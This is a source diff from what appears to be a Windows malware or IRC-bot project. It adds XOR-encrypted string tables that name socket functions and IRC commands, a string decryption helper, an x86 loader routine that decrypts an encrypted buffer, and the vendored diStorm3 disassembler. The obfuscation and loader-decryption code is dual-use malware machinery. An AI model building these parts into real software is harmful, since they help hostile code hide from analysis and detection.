+#ifdef _ENABLE_IRC
+ NULLENT(XOR_SOCK_FUNCS_START),
+ XOR_KEY_SOCK_FUNCS_STRINGS, /* Ws32.dll functions */
+ NULLENT(XOR_SOCK_FUNCS__END),
+ XOR_KEY_SOCK_STRS_STRINGS, /* cmds, irc strings */
+#endif
+ XOR_KEY_ROOT_STRINGS,
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+#ifdef _USE_PIPES
+ XOR_KEY_DEBUG_STRINGS,
+#endif
+#endif
+};
+
+
+static inline char* crypt_string(char* cryptBuf, const uint8_t len)
+{
+ xor32_byte_crypt((unsigned char*)cryptBuf, len, xorkey);
+ return cryptBuf;
+}
+
+uint8_t crypt_len(enum stridx i)
+{
+ return strs[i].len;
+}
+
+char* decrypt_string(enum stridx i, char* plainStrPtr)
+{
+ if (i > STR_MAX) {
+ plainStrPtr[0] = 0;
+ return plainStrPtr;
+ }
+ memcpy(plainStrPtr, strs[i].str, strs[i].len);
+ char* buf = crypt_string(plainStrPtr, strs[i].len);
+ buf[strs[i].len + 1] = 0;
+ return buf;
+}
+
+int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd)
+{
+ if (!pDest || !pEnd)
+ return -1;
+
+ if (*pDest == NULL) {
+ *pDest = strings;
+ } else if (*pEnd) {
+ *(*pEnd) = delim;
+ *pDest = ++(*pEnd);
+ } else return 1;
+
+ {
+ *pEnd = COMPAT(strchr)(*pDest, delim);
+ if (*pEnd) {
+ *(*pEnd) = 0;
+ }
+ }
+ return 0;
+}
+
+inline int get_string_in_strings_d(char* strings, char** pDest, char** pEnd)
+{
+ return get_string_in_strings(strings, '#', pDest, pEnd);
+}
+
+int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd)
+{
+ int i = -1;
+ while (i++ != idx && get_string_in_strings(strings, delim, pDest, pEnd) == 0) {
+ }
+ return (i-1 == idx ? 0 : 1);
+}
+
+inline int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd)
+{
+ return get_string_in_strings_i(strings, '#', idx, pDest, pEnd);
+}
+
+inline void string_restore_delim(char* pEnd)
+{
+ if (pEnd)
+ *pEnd = '#';
+}
+
+
+#ifdef _STRINGS_BIN
+#include "helper.h"
+void addTrimSpaces(char* outbuf, long insiz, long trimsiz)
+{
+ trimsiz -= insiz;
+ if (trimsiz > 0) {
+ memset(outbuf, ' ', trimsiz);
+ outbuf[trimsiz] = 0;
+ } else outbuf[0] = 0;
+}
+
+int main(void)
+{
+ const long trimsiz1 = 70;
+ const long trimsiz2 = 25;
+ char buf1[trimsiz1+1];
+ char buf2[trimsiz2+1];
+
+ for (size_t i = 0; i < STR_MAX; ++i) {
+ if (strs[i].len == 0 || strs[i].str == NULL) {
+ memset(&buf2[0], '-', trimsiz2);
+ buf2[trimsiz2] = 0;
+ printf("%s %s -> %lu -> NULL %s\n", buf2, strs[i].name, i, buf2);
+ continue;
+ }
+
+ DBUF(i, tmp);
+
+ char* chex = bintostr(strs[i].str, strs[i].len, 1, NULL);
+ long csiz = strlen(chex)-1;
+ chex[csiz] = 0;
+ addTrimSpaces(buf1, csiz, trimsiz1);
+
+ long nsiz = strlen(strs[i].name);
+ if (csiz < trimsiz1) {
+ addTrimSpaces(buf2, nsiz, trimsiz2);
+ } else buf2[0] = 0;
+
+ printf("C(%03u): %s%s -> %s%s -> P(%03u): %s\n", (uint8_t)strs[i].len, chex, buf1, strs[i].name, buf2, (uint8_t)strlen(tmp), tmp);
+ free(chex);
+
+ char* cur = NULL;
+ char* end = NULL;
+ int ret = get_string_in_strings_d(tmp, &cur, &end);
+ ret = get_string_in_strings_d(tmp, &cur, &end);
+ if (ret == 0) {
+ string_restore_delim(end);
+ cur = NULL;
+ end = NULL;
+
+ int max = 0;
+ while (get_string_in_strings_d(tmp, &cur, &end) == 0) {
+ addTrimSpaces(buf2, 0, trimsiz2);
+ printf("%s SUBSTRING -> %s\n", buf2, cur);
+ max++;
+ }
+
+ printf("\n");
+
+ for (int i = 0; i < max; ++i) {
+ cur = NULL;
+ end = NULL;
+ if (get_string_in_strings_di(tmp, i, &cur, &end) == 0) {
+ addTrimSpaces(buf2, 4, trimsiz2);
+ printf("%s SUBSTRING(%02d) -> %s\n", buf2, i, cur);
+ string_restore_delim(end);
+ }
+ }
+ }
+ }
+
+ return 0;
+}
+#endif
diff --git a/source/decrypter_x86.asm b/source/decrypter_x86.asm
new file mode 100644
index 0000000..b3a04ec
--- /dev/null
+++ b/source/decrypter_x86.asm
@@ -0,0 +1,101 @@
+; Module: decrypter_x86.asm
+; Author: Toni <matzeton@googlemail.com>
+; Purpose: 1. decrypt a buffer encrypted with xor32npcbc
+
+%ifndef _LDR_SECTION
+%error "expected _LDR_SECTION to be defined"
+%endif
+SECTION _LDR_SECTION
+GLOBAL __decrypt_x86
+
+EBP_BUFF EQU 0x08
+EBP_SIZE EQU 0x0c
+EBP_IVPT EQU 0x10
+EBP_KEYP EQU 0x14
+EBP_IVKY EQU 0x18
+
+; xor32n_pcbc decryption routine
+; arguments: [ebp + 0x08] = buffer_ptr32
+; [ebp + 0x0c] = size_u32
+; [ebp + 0x10] = iv_ptr32
+; [ebp + 0x14] = key_ptr32
+; [ebp + 0x18] = ivkeysize
+; modifies : eax, ebx, ecx, edx, esi, edi
+; return : eax = FALSE if error, non-zero if success
+__decrypt_x86:
+ ; new stack frame
+ push ebp
+ mov ebp,esp
+ ; check if buffer has a valid size
+ xor edx,edx ; clear remainder
+ xor ecx,ecx ; clear divisor
+ mov eax,[ebp + 0x0c]
+ mov byte cl,0x04
+ div ecx ; size_u32 % sizeof(uint32)
+ xor eax,eax
+ cmp edx,eax ; remainder == 0 ?
+ jnz __decrypt_failed
+ ; uint32_t prev[ivkeysiz];
+ mov ecx,[ebp + 0x18] ; ivkeysize
+ ; calculate and reserve stack space
+ xor edx,edx
+ xor eax,eax
+ mov al,0x04
+ mul ecx
+ sub esp,eax ; make space for ivkeysiz*sizeof(uint32)
+ ; init prev[i] with iv[i]
+ mov edx,[ebp + 0x10] ; iv_ptr32
+ __decrypt_prev: ; ecx = ivkeysize
+ mov eax,[ebp + 0x18] ; ivkeysize
+ sub eax,ecx ; ivkeysize - ecx
+ mov edi,[edx + eax*4]
+ mov dword [esp + eax*4],edi
+ loop __decrypt_prev
+ ; size_u32 / sizeof(uint32)
+ mov ecx,[ebp + 0x0c] ; size_u32
+ shr ecx,0x02 ; / sizeof(uint32)
+ ; main decrypt loop
+ mov edi,ecx ; edi = count
+ __decrypt_loop: ; ecx = count-i
+ ; calculate i
+ mov eax,edi
+ sub eax,ecx ; count-(count-i)
+ mov esi,eax ; esi = i
+ ; calculate iv/key i
+ xor edx,edx ; clear remainder
+ mov ebx,[ebp + 0x18] ; ivkeysize
+ div ebx ; i % ivkeysize
+ mov ebx,edx ; ebx = iv/key i
+ ; get buffer content
+ mov edx,[ebp + 0x08] ; buffer_ptr32
+ mov edx,[edx + esi*4] ; edx = buf[i]
+ ; decrypt content
+ mov eax,[ebp + 0x14]
+ mov eax,[eax + ebx*4] ; eax = key[iv/key i]
+ xor eax,edx ; tmp = xor32_crypt(buf[i], key[iv/key i])
+ xor eax,[esp + ebx*4] ; plain = xor32_crypt(tmp, prev[iv/key i])
+ push ebx
+ mov ebx,[ebp + 0x08] ; buffer_ptr32
+ mov [ebx + esi*4],eax
+ pop ebx
+ ; calculate prev[iv/key i]
+ xor eax,edx ; prev[iv/key i] = xor32_crypt(plain, crypt)
+ mov [esp + ebx*4],eax
+ loop __decrypt_loop
+ ; cleanup stack
+ xor edx,edx
+ xor eax,eax
+ mov ecx,[ebp + 0x18]
+ mov al,0x04
+ mul ecx
+ add esp,eax
+ ; return value (size of buffer)
+ mov eax,[ebp + 0x0c]
+ ; restore old frame
+ pop ebp
+ ret
+__decrypt_failed:
+ pop ebp
+ xor eax,eax
+ ret
+
diff --git a/source/disasm.c b/source/disasm.c
new file mode 100644
index 0000000..b36abae
--- /dev/null
+++ b/source/disasm.c
@@ -0,0 +1,24 @@
+#include "compat.h"
+#include "disasm.h"
+#include "distorm/distorm.h"
+
+
+_DecodeResult disasm(_OffsetType codeOffset, const unsigned char* code, int codeLen, _DecodeType dt, _DInst instructions[], unsigned int maxInstructions, unsigned int* usedInstructionsCount)
+{
+ _DecodeResult res;
+ _CodeInfo ci;
+ unsigned int instsCount = 0;
+
+ ci.codeOffset = codeOffset;
+ ci.code = code;
+ ci.codeLen = codeLen;
+ ci.dt = dt;
+ ci.features = DF_NONE;
+
+ if (dt == Decode16Bits) ci.features = DF_MAXIMUM_ADDR16;
+ else if (dt == Decode32Bits) ci.features = DF_MAXIMUM_ADDR32;
+
+ res = distorm_decompose(&ci, instructions, maxInstructions, &instsCount);
+ *usedInstructionsCount = instsCount;
+ return res;
+}
diff --git a/source/distorm/config.h b/source/distorm/config.h
new file mode 100644
index 0000000..805a7d6
--- /dev/null
+++ b/source/distorm/config.h
@@ -0,0 +1,168 @@
+/*
+config.h
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#ifndef CONFIG_H
+#define CONFIG_H
+
+#include "distorm/distorm.h"
+
+
+/* diStorm version number. */
+#define __DISTORMV__ 0x030304
+
+
+/*
+ * 64 bit offsets support:
+ * This macro should be defined from compiler command line flags, e.g: -DSUPPORT_64BIT_OFFSET
+ * Note: make sure that the caller (library user) defines it too!
+ */
+/* #define SUPPORT_64BIT_OFFSET */
+
+/*
+ * If you compile diStorm as a dynamic library (.dll or .so) file, make sure you uncomment the next line.
+ * So the interface functions will be exported, otherwise they are useable only for static library.
+ * For example, this macro is being set for compiling diStorm as a .dll for Python with CTypes.
+ */
+/* #define DISTORM_DYNAMIC */
+
+/*
+ * If DISTORM_LIGHT is defined, everything involved in formatting the instructions
+ * as text will be excluded from compilation.
+ * distorm_decode(..) and distorm_format(..) will not be available.
+ * This will decrease the size of the executable and leave you with decomposition functionality only.
+ *
+ * Note: it should be either set in the preprocessor definitions manually or in command line -D switch.
+ * #define DISTORM_LIGHT
+ */
+
+/*
+ * diStorm now supports little/big endian CPU's.
+ * It should detect the endianness according to predefined macro's of the compiler.
+ * If you don't use GCC/MSVC you will have to define it on your own.
+ */
+
+/* These macros are used in order to make the code portable. */
+#ifdef __GNUC__
+
+#include <stdint.h>
+
+#define _DLLEXPORT_
+#define _FASTCALL_
+#define _INLINE_ static
+/* GCC ignores this directive... */
+/*#define _FASTCALL_ __attribute__((__fastcall__))*/
+
+/* Set endianity (supposed to be LE though): */
+#ifdef __BIG_ENDIAN__
+ #define BE_SYSTEM
+#endif
+
+/* End of __GCC__ */
+
+#elif __WATCOMC__
+
+#include <stdint.h>
+
+#define _DLLEXPORT_
+#define _FASTCALL_
+#define _INLINE_ __inline
+
+/* End of __WATCOMC__ */
+
+#elif __DMC__
+
+#include <stdint.h>
+
+#define _DLLEXPORT_
+#define _FASTCALL_
+#define _INLINE_ __inline
+
+/* End of __DMC__ */
+
+#elif __TINYC__
+
+#include <stdint.h>
+
+#define _DLLEXPORT_
+#define _FASTCALL_
+#define _INLINE_
+
+/* End of __TINYC__ */
+
+#elif _MSC_VER
+
+/* stdint alternative is defined in distorm.h */
+
+#define _DLLEXPORT_ __declspec(dllexport)
+#define _FASTCALL_ __fastcall
+#define _INLINE_ __inline
+
+/* Set endianity (supposed to be LE though): */
+#if !defined(_M_IX86) && !defined(_M_X64)
+ #define BE_SYSTEM
+#endif
+
+#endif /* #elif _MSC_VER */
+
+/* If the library isn't compiled as a dynamic library don't export any functions. */
+#ifndef DISTORM_DYNAMIC
+#undef _DLLEXPORT_
+#define _DLLEXPORT_
+#endif
+
+#ifndef FALSE
+#define FALSE 0
+#endif
+#ifndef TRUE
+#define TRUE 1
+#endif
+
+/* Define stream read functions for big endian systems. */
+#ifdef BE_SYSTEM
+/*
+ * These functions can read from the stream safely!
+ * Swap endianity of input to little endian.
+ */
+static _INLINE_ int16_t RSHORT(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8);
+}
+static _INLINE_ uint16_t RUSHORT(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8);
+}
+static _INLINE_ int32_t RLONG(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24);
+}
+static _INLINE_ uint32_t RULONG(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24);
+}
+static _INLINE_ int64_t RLLONG(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24) | ((uint64_t)s[4] << 32) | ((uint64_t)s[5] << 40) | ((uint64_t)s[6] << 48) | ((uint64_t)s[7] << 56);
+}
+static _INLINE_ uint64_t RULLONG(const uint8_t *s)
+{
+ return s[0] | (s[1] << 8) | (s[2] << 16) | (s[3] << 24) | ((uint64_t)s[4] << 32) | ((uint64_t)s[5] << 40) | ((uint64_t)s[6] << 48) | ((uint64_t)s[7] << 56);
+}
+#else
+/* Little endian macro's will just make the cast. */
+#define RSHORT(x) *(int16_t *)x
+#define RUSHORT(x) *(uint16_t *)x
+#define RLONG(x) *(int32_t *)x
+#define RULONG(x) *(uint32_t *)x
+#define RLLONG(x) *(int64_t *)x
+#define RULLONG(x) *(uint64_t *)x
+#endif
+
+#endif /* CONFIG_H */
diff --git a/source/distorm/decoder.c b/source/distorm/decoder.c
new file mode 100644
index 0000000..a54e5b5
--- /dev/null
+++ b/source/distorm/decoder.c
@@ -0,0 +1,651 @@
+/*
+decoder.c
+
+diStorm3 - Powerful disassembler for X86/AMD64
+http://ragestorm.net/distorm/
+distorm at gmail dot com
+Copyright (C) 2003-2016 Gil Dabah
+This library is licensed under the BSD license. See the file COPYING.
+*/
+
+
+#include "decoder.h"
+#include "instructions.h"
+#include "insts.h"
+#include "prefix.h"
+#include "x86defs.h"
+#include "operands.h"
+#include "insts.h"
+#include "distorm/mnemonics.h"
+#include "compat.h"
+
+
+/* Instruction Prefixes - Opcode - ModR/M - SIB - Displacement - Immediate */
+
+static _DecodeType decode_get_effective_addr_size(_DecodeType dt, _iflags decodedPrefixes)
+{
+ /*
+ * This table is to map from the current decoding mode to an effective address size:
+ * Decode16 -> Decode32
+ * Decode32 -> Decode16
+ * Decode64 -> Decode32
+ */
+ static volatile _DecodeType AddrSizeTable[] = {Decode32Bits, Decode16Bits, Decode32Bits};
+
+ /* Switch to non default mode if prefix exists, only for ADDRESS SIZE. */
+ if (decodedPrefixes & INST_PRE_ADDR_SIZE) dt = AddrSizeTable[dt];
+ return dt;
+}
+
+static _DecodeType decode_get_effective_op_size(_DecodeType dt, _iflags decodedPrefixes, unsigned int rex, _iflags instFlags)
+{
+ /*
+ * This table is to map from the current decoding mode to an effective operand size:
+ * Decode16 -> Decode32
+ * Decode32 -> Decode16
+ * Decode64 -> Decode16
+ * Not that in 64bits it's a bit more complicated, because of REX and promoted instructions.
+ */
+ static volatile _DecodeType OpSizeTable[] = {Decode32Bits, Decode16Bits, Decode16Bits};
+
+ if (decodedPrefixes & INST_PRE_OP_SIZE) return OpSizeTable[dt];
+
+ if (dt == Decode64Bits) {
+ /*
+ * REX Prefix toggles data size to 64 bits.
+ * Operand size prefix toggles data size to 16.
+ * Default data size is 32 bits.
+ * Promoted instructions are 64 bits if they don't require a REX perfix.
+ * Non promoted instructions are 64 bits if the REX prefix exists.
+ */
+ /* Automatically promoted instructions have only INST_64BITS SET! */
+ if (((instFlags & (INST_64BITS | INST_PRE_REX)) == INST_64BITS) ||
+ /* Other instructions in 64 bits can be promoted only with a REX prefix. */
+ ((decodedPrefixes & INST_PRE_REX) && (rex & PREFIX_EX_W))) dt = Decode64Bits;
+ else dt = Decode32Bits; /* Default. */
+ }
+ return dt;
+}
+
+/* A helper macro to convert from diStorm's CPU flags to EFLAGS. */
+#define CONVERT_FLAGS_TO_EFLAGS(dst, src, field) dst->field = ((src->field & D_COMPACT_SAME_FLAGS) | \
+ ((src->field & D_COMPACT_IF) ? D_IF : 0) | \
+ ((src->field & D_COMPACT_DF) ? D_DF : 0) | \
+ ((src->field & D_COMPACT_OF) ? D_OF : 0));
+
+static _DecodeResult decode_inst(_CodeInfo* ci, _PrefixState* ps, _DInst* di)
+{
+ /* Remember whether the instruction is privileged. */
+ uint16_t privilegedFlag = 0;
+
+ /* The ModR/M byte of the current instruction. */
+ unsigned int modrm = 0;
+
+ /* The REX/VEX prefix byte value. */
+ unsigned int vrex = ps->vrex;
+
+ /*
+ * Backup original input, so we can use it later if a problem occurs
+ * (like not enough data for decoding, invalid opcode, etc).
+ */
+ const uint8_t* startCode = ci->code;
+
+ /* Holds the info about the current found instruction. */
+ _InstInfo* ii = NULL;
+ _InstInfo iip; /* Privileged instruction cache. */
+ _InstSharedInfo* isi = NULL;
+
+ /* Used only for special CMP instructions which have pseudo opcodes suffix. */
+ unsigned char cmpType = 0;
+
+ /*
+ * Indicates whether it is right to LOCK the instruction by decoding its first operand.
+ * Only then you know if it's ok to output the LOCK prefix's text...
+ * Used for first operand only.
+ */
+ int lockable = FALSE;
+
+ /* Calculate (and cache) effective-operand-size and effective-address-size only once. */
+ _DecodeType effOpSz, effAdrSz;
+ _iflags instFlags;
+
+ ii = inst_lookup(ci, ps);
+ if (ii == NULL) goto _Undecodable;
+ isi = &InstSharedInfoTable[ii->sharedIndex];
+ instFlags = FlagsTable[isi->flagsIndex];
+ privilegedFlag = ii->opcodeId & OPCODE_ID_PRIVILEGED;
+
+ if (privilegedFlag) {
+ /*
+ * Copy the privileged instruction info so we can remove the privileged bit
+ * from the opcodeId field. This makes sure we're not modifying the tables
+ * in case we lookup this privileged instruction later.
+ */
+ iip = *ii;
+ iip.opcodeId &= ~OPCODE_ID_PRIVILEGED;
+ ii = &iip;
+ }
+
+ /*
+ * If both REX and OpSize are available we will have to disable the OpSize, because REX has precedence.
+ * However, only if REX.W is set !
+ * We had to wait with this test, since the operand size may be a mandatory prefix,
+ * and we know it only after prefetching.
+ */
+ if ((ps->prefixExtType == PET_REX) &&
+ (ps->decodedPrefixes & INST_PRE_OP_SIZE) &&
+ (!ps->isOpSizeMandatory) &&
+ (vrex & PREFIX_EX_W)) {
+ ps->decodedPrefixes &= ~INST_PRE_OP_SIZE;
+ prefixes_ignore(ps, PFXIDX_OP_SIZE);
+ }
+
+ /*
+ * In this point we know the instruction we are about to decode and its operands (unless, it's an invalid one!),
+ * so it makes it the right time for decoding-type suitability testing.
+ * Which practically means, don't allow 32 bits instructions in 16 bits decoding mode, but do allow
+ * 16 bits instructions in 32 bits decoding mode, of course...
+
+ * NOTE: Make sure the instruction set for 32 bits has explicitly this specific flag set.
+ * NOTE2: Make sure the instruction set for 64 bits has explicitly this specific flag set.
+
+ * If this is the case, drop what we've got and restart all over after DB'ing that byte.
+
+ * Though, don't drop an instruction which is also supported in 16 and 32 bits.
+ */
+
+ /* ! ! ! DISABLED UNTIL FURTHER NOTICE ! ! ! Decode16Bits CAN NOW DECODE 32 BITS INSTRUCTIONS ! ! !*/
+ /* if (ii && (dt == Decode16Bits) && (instFlags & INST_32BITS) && (~instFlags & INST_16BITS)) ii = NULL; */
+
+ /* Drop instructions which are invalid in 64 bits. */
+ if ((ci->dt == Decode64Bits) && (instFlags & INST_INVALID_64BITS)) goto _Undecodable;
+
+ /* If it's only a 64 bits instruction drop it in other decoding modes. */
+ if ((ci->dt != Decode64Bits) && (instFlags & INST_64BITS_FETCH)) goto _Undecodable;
+
+ if (instFlags & INST_MODRM_REQUIRED) {
+ /* If the ModRM byte is not part of the opcode, skip the last byte code, so code points now to ModRM. */
+ if (~instFlags & INST_MODRM_INCLUDED) {
+ ci->code++;
+ if (--ci->codeLen < 0) goto _Undecodable;
+ }
+ modrm = *ci->code;
+
+ /* Some instructions enforce that reg=000, so validate that. (Specifically EXTRQ). */
+ if ((instFlags & INST_FORCE_REG0) && (((modrm >> 3) & 7) != 0)) goto _Undecodable;
+ /* Some instructions enforce that mod=11, so validate that. */
+ if ((instFlags & INST_MODRR_REQUIRED) && (modrm < INST_DIVIDED_MODRM)) goto _Undecodable;
+ }
+
+ ci->code++; /* Skip the last byte we just read (either last opcode's byte code or a ModRM). */
+
+ /* Cache the effective operand-size and address-size. */
+ effOpSz = decode_get_effective_op_size(ci->dt, ps->decodedPrefixes, vrex, instFlags);
+ effAdrSz = decode_get_effective_addr_size(ci->dt, ps->decodedPrefixes);
+
+ COMPAT(memset)(di, 0, sizeof(_DInst));
+ di->base = R_NONE;
+
+ /*
+ * Try to extract the next operand only if the latter exists.
+ * For example, if there is not first operand, no reason to try to extract second operand...
+ * I decided that a for-break is better for readability in this specific case than goto.
+ * Note: do-while with a constant 0 makes the compiler warning about it.
+ */
+ for (;;) {
+ if (isi->d != OT_NONE) {
+ if (!operands_extract(ci, di, ii, instFlags, (_OpType)isi->d, ONT_1, modrm, ps, effOpSz, effAdrSz, &lockable)) goto _Undecodable;
+ } else break;
+
+ if (isi->s != OT_NONE) {
+ if (!operands_extract(ci, di, ii, instFlags, (_OpType)isi->s, ONT_2, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable;
+ } else break;
+
+ /* Use third operand, only if the flags says this InstInfo requires it. */
+ if (instFlags & INST_USE_OP3) {
+ if (!operands_extract(ci, di, ii, instFlags, (_OpType)((_InstInfoEx*)ii)->op3, ONT_3, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable;
+ } else break;
+
+ /* Support for a fourth operand is added for (i.e:) INSERTQ instruction. */
+ if (instFlags & INST_USE_OP4) {
+ if (!operands_extract(ci, di, ii, instFlags, (_OpType)((_InstInfoEx*)ii)->op4, ONT_4, modrm, ps, effOpSz, effAdrSz, NULL)) goto _Undecodable;
+ }
+ break;
+ } /* Continue here after all operands were extracted. */
+
+ /* If it were a 3DNow! instruction, we will have to find the instruction itself now that we got its operands extracted. */
+ if (instFlags & INST_3DNOW_FETCH) {
+ ii = inst_lookup_3dnow(ci);
+ if (ii == NULL) goto _Undecodable;
+ isi = &InstSharedInfoTable[ii->sharedIndex];
+ instFlags = FlagsTable[isi->flagsIndex];
+ }
+
+ /* Check whether pseudo opcode is needed, only for CMP instructions: */
+ if (instFlags & INST_PSEUDO_OPCODE) {
+ if (--ci->codeLen < 0) goto _Undecodable;
+ cmpType = *ci->code;
+ ci->code++;
+ if (instFlags & INST_PRE_VEX) {
+ /* AVX Comparison type must be between 0 to 32, otherwise Reserved. */
+ if (cmpType >= INST_VCMP_MAX_RANGE) goto _Undecodable;
+ } else {
+ /* SSE Comparison type must be between 0 to 8, otherwise Reserved. */
+ if (cmpType >= INST_CMP_MAX_RANGE) goto _Undecodable;
+ }
+ }
+
+ /*
+ * There's a limit of 15 bytes on instruction length. The only way to violate
+ * this limit is by putting redundant prefixes before an instruction.
+ * start points to first prefix if any, otherwise it points to instruction first byte.
+ */
+ if ((ci->code - ps->start) > INST_MAXIMUM_SIZE) goto _Undecodable; /* Drop instruction. */
+
+ /*
+ * If we reached here the instruction was fully decoded, we located the instruction in the DB and extracted operands.
+ * Use the correct mnemonic according to the DT.
+ * If we are in 32 bits decoding mode it doesn't necessarily mean we will choose mnemonic2, alas,
+ * it means that if there is a mnemonic2, it will be used.
+ */
+
+ /* Start with prefix LOCK. */
+ if ((lockable == TRUE) && (instFlags & INST_PRE_LOCK)) {
+ ps->usedPrefixes |= INST_PRE_LOCK;
+ di->flags |= FLAG_LOCK;
+ } else if ((instFlags & INST_PRE_REPNZ) && (ps->decodedPrefixes & INST_PRE_REPNZ)) {
+ ps->usedPrefixes |= INST_PRE_REPNZ;
+ di->flags |= FLAG_REPNZ;
+ } else if ((instFlags & INST_PRE_REP) && (ps->decodedPrefixes & INST_PRE_REP)) {
+ ps->usedPrefixes |= INST_PRE_REP;
+ di->flags |= FLAG_REP;
+ }
+
+ /* If it's JeCXZ the ADDR_SIZE prefix affects them. */
+ if ((instFlags & (INST_PRE_ADDR_SIZE | INST_USE_EXMNEMONIC)) == (INST_PRE_ADDR_SIZE | INST_USE_EXMNEMONIC)) {
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+ if (effAdrSz == Decode16Bits) di->opcode = ii->opcodeId;
+ else if (effAdrSz == Decode32Bits) di->opcode = ((_InstInfoEx*)ii)->opcodeId2;
+ /* Ignore REX.W in 64bits, JECXZ is promoted. */
+ else /* Decode64Bits */ di->opcode = ((_InstInfoEx*)ii)->opcodeId3;
+ }
+
+ /* LOOPxx instructions are also native instruction, but they are special case ones, ADDR_SIZE prefix affects them. */
+ else if ((instFlags & (INST_PRE_ADDR_SIZE | INST_NATIVE)) == (INST_PRE_ADDR_SIZE | INST_NATIVE)) {
+ di->opcode = ii->opcodeId;
+
+ /* If LOOPxx gets here from 64bits, it must be Decode32Bits because Address Size prefix is set. */
+ ps->usedPrefixes |= INST_PRE_ADDR_SIZE;
+ }
+ /*
+ * Note:
+ * If the instruction is prefixed by operand size we will format it in the non-default decoding mode!
+ * So there might be a situation that an instruction of 32 bit gets formatted in 16 bits decoding mode.
+ * Both ways should end up with a correct and expected formatting of the text.
+ */
+ else if (effOpSz == Decode16Bits) { /* Decode16Bits */
+
+ /* Set operand size. */
+ FLAG_SET_OPSIZE(di, Decode16Bits);
+
+ /*
+ * If it's a special instruction which has two mnemonics, then use the 16 bits one + update usedPrefixes.
+ * Note: use 16 bits mnemonic if that instruction supports 32 bit or 64 bit explicitly.
+ */
+ if ((instFlags & INST_USE_EXMNEMONIC) && ((instFlags & (INST_32BITS | INST_64BITS)) == 0)) ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ di->opcode = ii->opcodeId;
+ } else if (effOpSz == Decode32Bits) { /* Decode32Bits */
+
+ /* Set operand size. */
+ FLAG_SET_OPSIZE(di, Decode32Bits);
+
+ /* Give a chance for special mnemonic instruction in 32 bits decoding. */
+ if (instFlags & INST_USE_EXMNEMONIC) {
+ ps->usedPrefixes |= INST_PRE_OP_SIZE;
+ /* Is it a special instruction which has another mnemonic for mod=11 ? */
+ if (instFlags & INST_MNEMONIC_MODRM_BASED) {
+ if (modrm >= INST_DIVIDED_MODRM) di->opcode = ii->opcodeId;
+ else di->opcode = ((_InstInfoEx*)ii)->opcodeId2;
+ } else di->opcode = ((_InstInfoEx*)ii)->opcodeId2;
+ } else di->opcode = ii->opcodeId;
+ } else { /* Decode64Bits, note that some instructions might be decoded in Decode32Bits above. */
+
+ /* Set operand size. */
+ FLAG_SET_OPSIZE(di, Decode64Bits);
+
+ if (instFlags & (INST_USE_EXMNEMONIC | INST_USE_EXMNEMONIC2)) {
+ /*
+ * We shouldn't be here for MODRM based mnemonics with a MOD=11,
+ * because they must not use REX (otherwise it will get to the wrong instruction which share same opcode).
+ * See XRSTOR and XSAVEOPT.
+ */
+ if ((instFlags & INST_MNEMONIC_MODRM_BASED) && (modrm >= INST_DIVIDED_MODRM)) goto _Undecodable;
+
+ /* Use third mnemonic, for 64 bits. */
+ if ((instFlags & INST_USE_EXMNEMONIC2) && (vrex & PREFIX_EX_W)) {
+ ps->usedPrefixes |= INST_PRE_REX;
+ di->opcode = ((_InstInfoEx*)ii)->opcodeId3;
+ } else di->opcode = ((_InstInfoEx*)ii)->opcodeId2; /* Use second mnemonic. */
+ } else di->opcode = ii->opcodeId;
+ }
+
+ /* If it's a native instruction use OpSize Prefix. */
+ if ((instFlags & INST_NATIVE) && (ps->decodedPrefixes & INST_PRE_OP_SIZE)) ps->usedPrefixes |= INST_PRE_OP_SIZE;
+
+ /* Check VEX mnemonics: */
+ if ((instFlags & INST_PRE_VEX) &&
+ (((((_InstInfoEx*)ii)->flagsEx & INST_MNEMONIC_VEXW_BASED) && (vrex & PREFIX_EX_W)) ||
+ ((((_InstInfoEx*)ii)->flagsEx & INST_MNEMONIC_VEXL_BASED) && (vrex & PREFIX_EX_L)))) {
+ di->opcode = ((_InstInfoEx*)ii)->opcodeId2;
+ }
+
+ /* Or is it a special CMP instruction which needs a pseudo opcode suffix ? */
+ if (instFlags & INST_PSEUDO_OPCODE) {
+ /*
+ * The opcodeId is the offset to the FIRST pseudo compare mnemonic,
+ * we will have to fix it so it offsets into the corrected mnemonic.
+ * Therefore, we use another table to fix the offset.
+ */
+ if (instFlags & INST_PRE_VEX) {
+ /* Use the AVX pseudo compare mnemonics table. */
+ di->opcode = ii->opcodeId + VCmpMnemonicOffsets[cmpType];
+ } else {
+ /* Use the SSE pseudo compare mnemonics table. */
+ di->opcode = ii->opcodeId + CmpMnemonicOffsets[cmpType];
+ }
+ }
+
+ /*
+ * Store the address size inside the flags.
+ * This is necessary for the caller to know the size of rSP when using PUSHA for example.
+ */
+ FLAG_SET_ADDRSIZE(di, effAdrSz);
+
+ /* Copy DST_WR flag. */
+ if (instFlags & INST_DST_WR) di->flags |= FLAG_DST_WR;
+
+ /* Set the unused prefixes mask. */
+ di->unusedPrefixesMask = prefixes_set_unused_mask(ps);
+
+ /* Fix privileged. Assumes the privilegedFlag is 0x8000 only. */
+ di->flags |= privilegedFlag;
+
+ /* Copy instruction meta. */
+ di->meta = isi->meta;
+ if (di->segment == 0) di->segment = R_NONE;
+
+ /* Take into account the O_MEM base register for the mask. */
+ if (di->base != R_NONE) di->usedRegistersMask |= _REGISTERTORCLASS[di->base];
+
+ /* Copy CPU affected flags. */
+ CONVERT_FLAGS_TO_EFLAGS(di, isi, modifiedFlagsMask);
+ CONVERT_FLAGS_TO_EFLAGS(di, isi, testedFlagsMask);
+ CONVERT_FLAGS_TO_EFLAGS(di, isi, undefinedFlagsMask);
+
+ /* Calculate the size of the instruction we've just decoded. */
